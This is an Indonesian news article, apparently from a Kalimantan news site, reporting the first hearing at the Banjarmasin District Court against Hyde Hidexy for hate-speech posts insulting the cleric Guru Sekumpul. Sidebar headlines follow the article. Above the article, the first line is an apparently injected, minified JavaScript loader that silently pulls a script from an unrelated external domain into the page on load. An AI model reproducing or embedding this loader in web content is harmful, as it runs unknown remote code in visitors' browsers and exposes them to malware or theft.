(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Sidang Perdana Kasus Ujaran Kebencian Digelar PN Banjarmasin


BANJARMASIN, Penghina Guru Sekumpul dan Ulama lainnya kini memasuki sidang perdana, Hyde Hidexy diseret ke kursi pesakitan pada Rabu (4/4) di Pengadilan Negeri Banjarmasin. Sebagai penyebar ujaran kebencian ia harus merasakan pasal berlapis yang dibacakan oleh Jaksa Penuntut Umum Suwarti.

Dalam dakwaan, Suwarti mengatakan Hyde Hidexy telah melakukan postingan yang berisi ujaran kebencian dan bermuatan suku, agama, ras dan antargolongan (SARA) di akun jejaring sosial seperti facebook (FB) dan instagram pada 10 Juli 2017, berlanjut pada 29 September 2017 dan terakhir pada 14 Januari 2018 dengan tempat kejadian perkara (TKP) di Kediri, Jawa Timur serta Jalan Cempaka Raya, Komplek Wildan Sari I Blok A1 Nomor 31, Banjarmasin Barat.

Di hadapan majelis hakim yang diketuai Hj Rosmawati SH dan dua hakim anggota, Yusuf Pranowo dan Vony TrIsaningsih, jaksa Suwarti menegaskan PN Banjarmsin berwenang memeriksa dan mengadili perkara tersebut.

Bahkan, Suwarti juga mendakwa Hyde Hidexy pemilik akun Hyde_Hideki_Hayden007 telah menyebarkan tanpa hak informasi yang menimbulkan rasa kebencian dan permusuhan individu atau kelompok bernuansa SARA seperti diatur dalam Pasal 28 ayat (2) UU ITE Nomor 11 Tahun 2008.

Tak hanya itu, jaksa Suwarti juga memasang Pasal 45 huruf A ayat (2) UU RI No 19 Tahun 2016 tentang Perubahan atas UU Nomor 11 tahun 2008 tentang Informasi dan Transaksi elektronik, dengan barang bukti yang telah disita Ditreskrimsus Polda Kalsel dari akun FB dan instagram.

Begitupula, beber jaksa Suwarti, mengomentari soal penjualan foto almarhum Guru Sekumpul seharga Rp 100 ribu, dengan sebutan ‘lakian bedaster’, hingga memancing reaksi warganet, khususnya para pencinta dan keluarga ulama yang paling dihormati di Kalsel tersebut. Hingga Suwarti berpendapat unsur yang terdapat dalam Pasal 27 ayat (3) UU ITE juga dilakoni terdakwa.

Untuk memperkuat dakwaannya, jaksa Suwarti juga menghadirkan dua saksi yakni HM Fauzan yang mewakili keluarga besar Guru Sekumpul, serta Reza Fahlevi, warga Hulu Sungai Tengah (HST). Kedua saksi pun membenarkan apa yang diungkap jaksa Suwarti dalam dakwaan, soal postingan dan komentar terdakwa yang dinilai telah menghina Guru Sekumpul.

“Mewakili pihak keluarga Abah Guru Sekumpul, kami sudah memberi maaf, termasuk warga Martapura khususnya Sekumpul juga tak mempermasalahkan masalah itu,” ucap Fauzan. Meski begitu, Fauzan mengatakan sengaja melaporkan terdakwa ke kepolisian, agar masalah itu tidak berkelanjutan dan memancing reaksi publik yang berlebihan.

Begitu pula, Reza Fahlevi, yang mengelola akun FB Peduli Kalimantan mengakui memposting gambar Guru Sekumpul, ternyata dibalas komentar oleh terdakwa. “Sebetulnya, saya juga tak kenal dengan keluarga Abah Guru Sekumpul. Namun, begitu bertemu, kami sepakat untuk melaporkan terdakwa ke polisi, agar masalah ini diselesaikan lewat jalur hukum,” papar Reza Fahlevi.

Didampingi kuasa hukum dari LKBH Universitas Lambung Mangkurat (ULM), terdakwa Hyde Hidexy pun di hadapan majelis hakim mengakui kesalahannya serta meminta maaf atas apa yang telah dilakukannya. (ammar)

Reporter : Ammar
Editor : Chella

Desy Arfianty

Recent Posts

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

1 jam ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

1 jam ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

3 jam ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

13 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

16 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

22 jam ago

This website uses cookies.